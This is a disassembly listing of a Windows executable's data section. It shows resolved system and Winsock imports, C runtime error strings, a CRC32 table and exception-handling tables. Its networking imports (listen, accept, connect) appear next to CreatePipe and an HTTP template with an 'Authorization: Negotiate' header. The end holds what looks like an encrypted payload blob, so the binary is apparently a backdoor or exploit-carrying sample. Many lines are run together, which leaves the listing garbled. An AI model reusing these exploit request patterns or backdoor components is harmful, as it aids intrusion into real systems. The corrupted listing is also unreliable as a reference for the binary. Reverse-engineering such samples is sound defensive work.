		mov	ecx, [ebp-10h]
		jmp	sub_41C4F5
; ---------------------------------------------------------------------------


loc_41C658:				; DATA XREF: sub_41C376o
		mov	eax, offset dword_41E0D8
		jmp	loc_4123AB
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 0001D000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0001D000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 41D000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41D000	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg000:004109C1r
		dd 7C833478h
dword_41D008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_41BB58+261r
dword_41D00C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_41BB58+B9r
		dd 7C832044h, 7C812641h, 7C81DC03h, 7C80BCCFh, 7C809E01h
dword_41D024	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_419D97+6r
dword_41D028	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; seg000:00419635r
		dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41D03C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW		dd 7C80C058h
dword_41D044	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; seg000:00401C13r ...
		dd 7C80A427h, 7C82FA46h
dword_41D050	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_402297+414r ...
		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41D060	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; seg000:loc_405B55r ...
dword_41D064	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; seg000:00405B27r ...
dword_41D068	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_407B0A+68o ...
		dd 7C810A77h
dword_41D070	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; seg000:004051FAr ...
dword_41D074	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; seg000:00409B65r ...
		dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41D084	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; seg000:0040512Ar
dword_41D088	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_41D08C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_417A14+84r ...
dword_41D090	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_417DF2+4Fr
dword_41D094	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41D098	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_41D09C	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41D0A0	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_406142+22Fr
dword_41D0A4	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4067AD:loc_406C9Dr ...
dword_41D0A8	dd 3E7574h						; sub_415D92+15r ...
dword_41D0AC	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h
dword_41D0B4	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_41D0B8	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
		dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
		dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh
dword_41D0F0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_41D0F4	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe		dd 7C8310F2h, 7C814EEAh
dword_41D100	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_412D64+Dr
dword_41D104	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; seg000:004099B4r ...
		dd 7C831EABh, 7C8309E1h, 7C809920h
dword_41D114	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA		dd 7C802520h, 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41D128	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; seg000:004181F1r ...
dword_41D12C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_413D39+54r ...
		dd 7C8216A4h, 7C801E16h
dword_41D138	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA		dd 7C830B14h
dword_41D140	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4137CF+AFr ...
dword_41D144	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4149CB+2C4r ...
dword_41D148	dd 7C937A40h	; resolved to->NTDLL.RtlUnwind		dd 7C8350BFh, 7C80176Bh
dword_41D154	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_414FFF+28r
		dd 7C801EEEh, 7C812F1Dh
dword_41D160	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_41D164	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41D168	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41D16C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41D170	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_4150B0+51r
		dd 7C809E79h
dword_41D178	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_41C549+2Er
dword_41D17C	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeap		dd 7C838DE8h
dword_41D184	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:00418131r ...
		dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41D194	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter		dd 7C81DF77h
dword_41D19C	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41D1A0	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_418C85+E1r
		align 8
dword_41D1A8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addrdword_41D1AC	dd 71AB406Ah	; resolved to->WS2_32.connectdword_41D1B0	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; seg000:004042BAr
dword_41D1B4	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_4041AF+15r
dword_41D1B8	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_41D1BC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_41D1C0	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4041AF+41r
dword_41D1C4	dd 71AB3E00h	; resolved to->WS2_32.binddword_41D1C8	dd 71AB88D3h	; resolved to->WS2_32.listendword_41D1CC	dd 71AC1028h	; resolved to->WS2_32.acceptdword_41D1D0	dd 71AB615Ah	; resolved to->WS2_32.recvdword_41D1D4	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_4041AF+68r ...
dword_41D1D8	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_403BAC+74r ...
dword_41D1DC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_403BAC+E4r ...
dword_41D1E0	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_403BAC+115r
dword_41D1E4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSet		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40323F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_41D230	dq 1.388888888888889e-2	; DATA XREF: sub_403051+2Fr
dbl_41D238	dq 1.666666666666667e-1	; DATA XREF: sub_403051+15r
dword_41D240	dd 0FFFFFFFFh						; sub_403511r ...
		align 8
dbl_41D248	dq 1.333333333333333	; DATA XREF: sub_40309D+79r
dword_41D250	dd 0							; sub_4035C1+5Bo ...
dword_41D254	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_41D658	dq 9.765625e-4		; DATA XREF: sub_40902A+2BDr
					; sub_40902A+2D8r ...
dbl_41D660	dq -3.0517578125e-5	; DATA XREF: sub_4107B2+1Er
dbl_41D668	dq 1.0			; DATA XREF: sub_412102+6Cr
					; sub_41224B+6Cr ...
dword_41D670	dd 0FFFFFFFFh, 413F0Fh,	413F23hbyte_41D67C	db 6			; DATA XREF: sub_41408C:loc_4140E3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_42F86Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_42F868o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_42FA94o
		align 8
dbl_41D7A8	dq 0.0			; DATA XREF: sub_41583F+8Cr
					; sub_41583F+ACr ...
dbl_41D7B0	dq 4.195835e6		; DATA XREF: sub_415D54+Fr
dbl_41D7B8	dq 3.145727e6		; DATA XREF: sub_415D54+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_415D92+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_415D92o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_415EB9+93o
		align 10h
dword_41D7F0	dd 0FFFFFFFFh, 4165A4h,	4165AEh, 0dword_41D800	dd 0FFFFFFFFh, 0		dd offset loc_41672A
		align 10h
		dd offset sub_416708
		dd offset sub_416712
dword_41D818	dd 0FFFFFFFFh, 41695Ah,	41695Eh, 0dword_41D828	dd 0FFFFFFFFh, 4169BCh,	4169C5h, 0dword_41D838	dd 0FFFFFFFFh, 0		dd offset loc_416A8D
		align 8
		dd offset loc_416A79
		dd offset loc_416A7D
dword_41D850	dd 0FFFFFFFFh, 0		dd offset loc_416AE3
		align 10h
		dd offset loc_416ACF
		dd offset loc_416AD3
dword_41D868	dd 2 dup(0)						; seg000:00419541o ...
dword_41D870	dd 0FFFFFFFFh, 4180F4h,	4180F8h, 0FFFFFFFFh, 4181A8h, 4181ACh
					; DATA XREF: seg000:00417FE9o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_42FEDCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41907D+119o
		align 4
asc_41DB38	db 0Ah			; DATA XREF: sub_41907D+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41907D+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_41907D+BFo
aProgramNameUnk	db '<program name unknown>',0
		align 8
dword_41DB78	dd 0FFFFFFFFh, 419601h,	419605haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_419FA2+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41AA01+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41AA01+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41AA01+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41B1D1:loc_41B2C6o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_41B1D1+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_41B1D1+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41B1D1+ADo
		align 4
dword_41DC18	dd 0FFFFFFFFh, 41BD0Fh,	41BD13h, 0FFFFFFFFh, 41BD7Eh, 41BD82h
					; DATA XREF: sub_41BB58+5o
		dd 41DD38h
off_41DC34	dd offset loc_41C2E8	; DATA XREF: sub_41C0F0+4Do
					; sub_41C304+Co
; ---------------------------------------------------------------------------
		scasb
		rol	dword ptr [ecx+0], 0CBh
		retn	41h
; ---------------------------------------------------------------------------
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41C0F0+1Eo
		dd offset dword_41DD70
off_41DC54	dd offset loc_41C215	; DATA XREF: sub_41C14A+4Eo
					; sub_41C1D8+11o ...
		dd offset sub_41C1AE
		dd offset sub_41C1BB
		dd offset dword_41DDC0
off_41DC64	dd offset loc_41C3D0	; DATA XREF: sub_41C31C+4Do
					; sub_41C3EC+Co
; ---------------------------------------------------------------------------
		scasb
		rol	dword ptr [ecx+0], 0B3h
		retn
; ---------------------------------------------------------------------------
		dw 41h
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41C31C+1Eo
		dd offset dword_41DDF0
off_41DC8C	dd offset sub_41C452	; DATA XREF: sub_41C46E+8o
					; sub_41C4AB+8o ...
		dd offset sub_41C50B
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_41C50B+7o
		align 4
		dd offset dword_41DE38
off_41DCAC	dd offset loc_41C52D	; DATA XREF: sub_41C518o
					; seg002:off_430600o ...
dword_41DCB0	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_41DCD0	dd offset off_430600	; DATA XREF: seg001:0041DD20o
					; seg001:0041DD54o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_41DCE8	dd offset off_430618	; DATA XREF: seg001:0041DD1Co
					; seg001:0041DD50o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_41DD00	dd offset off_430638	; DATA XREF: seg001:0041DD18o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41DD00
		dd offset off_41DCE8
		dd offset off_41DCD0
		dd 0
		db    0			; DATA XREF: seg001:0041DD48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 41DD18h, 3 dup(0)
		dd offset off_430638
		dd offset unk_41DD28
		align 10h
		dd offset off_41DCE8
		dd offset off_41DCD0
dword_41DD58	dd 4 dup(0)			dd 2, 41DD50h
dword_41DD70	dd 3 dup(0)			dd offset off_430618
		dd offset dword_41DD58+8
		align 8
off_41DD88	dd offset off_430658	; DATA XREF: seg001:0041DDA0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41DD88
		dd offset off_41DCE8
		dd offset off_41DCD0
dword_41DDAC	dd 3 dup(0)			dd 3, 41DDA0h
dword_41DDC0	dd 3 dup(0)			dd offset off_430658
		dd offset dword_41DDAC+4
		dd offset off_41DCD0
dword_41DDD8	dd 4 dup(0)			dd 1, 41DDD4h
dword_41DDF0	dd 3 dup(0)			dd offset off_430600
		dd offset dword_41DDD8+8
		align 8
off_41DE08	dd offset off_430678	; DATA XREF: seg001:0041DE20o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_41DE08
		dd 0
		db    0			; DATA XREF: seg001:0041DE48o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 41DE20h
dword_41DE38	dd 3 dup(0)			dd offset off_430678
		dd offset unk_41DE28
		align 10h
dword_41DE50	dd 19930520h, 2, 41DE70h, 5 dup(0)		dd 0FFFFFFFFh, 41C58Ch,	0
		dd offset sub_41C584
dword_41DE80	dd 19930520h, 2, 41DEA0h, 5 dup(0)		dd 0FFFFFFFFh, 41C5B0h,	0
		dd offset loc_41C5B8
dword_41DEB0	dd 19930520h, 2, 41DED0h, 1, 41DEE0h, 3	dup(0)
					; DATA XREF: seg000:loc_41C5CCo
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41DEF8h, 4	dup(0)
		dd offset loc_40382B
		dd 0
		dd offset off_430600
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41C4ABh, 2 dup(0)
		dd offset off_430618
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41C231h, 2 dup(0)
		dd offset off_430638
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41C304h, 0
dword_41DF68	dd 3, 41DF48h, 41DF28h,	41DF08hdword_41DF78	dd 0							; seg000:0041C2DDo
		dd offset sub_41C28E
		dd 0
		dd offset dword_41DF68
dword_41DF88	dd 19930520h, 1, 41DFA8h, 5 dup(0)		dd 0FFFFFFFFh, 41C5D8h
dword_41DFB0	dd 19930520h, 1, 41DFD0h, 5 dup(0)dword_41DFD0	dd 0FFFFFFFFh, 41C5ECh,	2, 41DF28h, 41DF08h, 0dword_41DFE8	dd 0				dd offset sub_41C1D8
		dd 0
		dd offset dword_41DFD0+8
dword_41DFF8	dd 19930520h, 1, 41E018h, 5 dup(0)		dd 0FFFFFFFFh, 41C600h
dword_41E020	dd 19930520h, 1, 41E040h, 5 dup(0)		dd 0FFFFFFFFh, 41C614h
dword_41E048	dd 19930520h, 1, 41E068h, 5 dup(0)		dd 0FFFFFFFFh, 41C628h,	0
		dd offset off_430658
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41C3ECh, 0
dword_41E090	dd 3, 41E070h, 41DF28h,	41DF08hdword_41E0A0	dd 0							; seg000:0041C3C5o
		dd offset sub_41C376
		dd 0
		dd offset dword_41E090
dword_41E0B0	dd 19930520h, 1, 41E0D0h, 5 dup(0)		dd 0FFFFFFFFh, 41C63Ch
dword_41E0D8	dd 19930520h, 1, 41E0F8h, 5 dup(0)		dd 0FFFFFFFFh, 41C650h,	1E2E4h,	2 dup(0)
		dd 1E328h, 1D1A8h, 1E13Ch, 2 dup(0)
		dd 1EAA0h, 1D000h, 5 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 92h,	0A4h, 95h
		dd 40554D1Ch, 8AC88C2Eh, 4D2578F4h, 2C09CC8Eh, 3A7451B8h
		dd 4CA33121h, 16F480D5h, 0F1176CCAh, 0D5D282D0h, 0D70DAEA3h
		dd 93E9C237h, 1663DC20h, 0EED45B5Dh, 0B3A06597h, 4FF73050h
		dd 3F318809h, 264A7D4Bh, 0A3AFA3BDh, 3F8BD9A1h,	91AB672h
		dd 521BDE6h, 31C7B8A0h,	20FC5B7Bh, 0BA4EED17h, 0F7F00411h
		dd 592A2084h, 53D4E442h, 92EA8A44h, 0F3064DCFh,	0F64D2B6Fh
		dd 38EB9F7Bh, 5788361Eh, 8780A5DAh, 0F38FF940h,	4F8FF771h
		dd 95A9FD7Fh, 733CA9D4h, 8218240Ch, 0CEEB085Ah,	0B3D9836Dh
		dd 0CD1CE72Dh, 60CE76F1h, 9B9235D2h, 9DE20A45h,	7C4B0ADCh
		dd 29CA0AEFh, 7EBE6D22h, 0AB9DBD05h, 29AB78D5h,	0DEA0EE19h
		dd 798040D2h, 907C468h,	0D6A8DE82h, 92C2F556h, 8B3427F4h
		dd 0E53CC862h, 0FB12795Ch, 0D6FACDD9h, 0DE0BBB4Dh, 58B9415Fh
		dd 7B672822h, 3832FADEh, 48F85F1Eh, 2634DB0h, 0D12E7FA3h
		dd 4E98A75h, 63298038h,	18146A63h, 0BBC340D4h, 523FCD9Bh
		dd 0C2B9B8A6h, 6FE5D44Dh, 0DE8B68EEh, 985666E0h, 0CB54B239h
		dd 49C602D4h, 0A535E55Dh, 0D1667D7Eh, 278AE12Ah, 8AF7A96Dh
		dd 0A8B4F9AAh, 4041E22Eh, 0D6DEA992h, 37863B12h, 426D910Ah
		dd 3E296F49h, 679F9DF0h, 361F6D0h, 12065396h, 2D05FA1Dh
		dd 7082836Bh, 0BB1DD654h, 1367C1ECh, 3A87793Ah,	0B4B1C945h
		dd 46231452h, 7ECFD6D2h, 0A8FB08F2h, 0F704A8B9h, 2D793632h
		dd 5F999AB6h, 0BA575494h, 8A97412Bh, 38F59BCDh,	0
		dd 890C6523h, 658A8BEFh, 0E4C95804h, 85D8C9Fh, 0B1F00352h
		dd 0D3AB515Bh, 0A0F25963h, 0F20C9736h, 8D495A3Ah, 0DABA4AC9h
		dd 4197E1B9h, 42CABAA6h, 0FE65D2D8h, 0CCDF30D6h, 0E96186F2h
		dd 9C82BF72h, 0
		dd 0CB5B4DC7h, 0C26A00A7h, 0D9DAh, 0EBED007Eh, 0C8223D61h
		dd 0A1CE12EAh, 16D0000h, 0DEE2264Bh, 0B856D280h, 85E41FD3h
		dd 2060000h, 4F09DF7Bh,	0B4E520C7h, 0B37A0102h,	4A092B5Dh
		dd 3568B60Bh, 7F8A20h, 0DA6C0207h, 51DF4D4Dh, 8502AA81h
		dd 41A0214Ch, 83E4375Ah, 7A18D440h, 5057Bh, 3FD0296h, 0D4AF4Fh
		dd 18F50124h, 321310D6h, 6E122328h, 562C5418h, 116E3561h
		dd 16E0000h, 86E21005h,	0D4F3C364h, 5747BADBh, 0FB7Fh
		dd 0CAA500FBh, 0A938D7ADh, 9418B021h, 0F7F880DBh, 11A0000h
		dd 0E4AC8D8Ch, 0C2D410F9h, 0BB0058ADh, 4A0000h,	0FD5EA4CEh
		dd 2C6FB895h, 0B27A10EFh, 1B0000h, 98F68B13h, 0FADD848Fh
		dd 459817h, 5CB00112h, 23ECED43h, 0D9FA5D2Eh, 340027h
		dd 130871D5h, 2326B7A2h, 6C9326h, 1380010Dh, 9E04B6F9h
		dd 197EA2F0h, 97BB4B85h, 6F0B4567h, 900000h, 0EC6329Ah
		dd 6912F005h, 8A0008h, 6CF8DA4Eh, 20DA2D78h, 92E3AD13h
		dd 442CD65h, 7FE8F770h,	890000h, 90D7E244h, 524478E0h
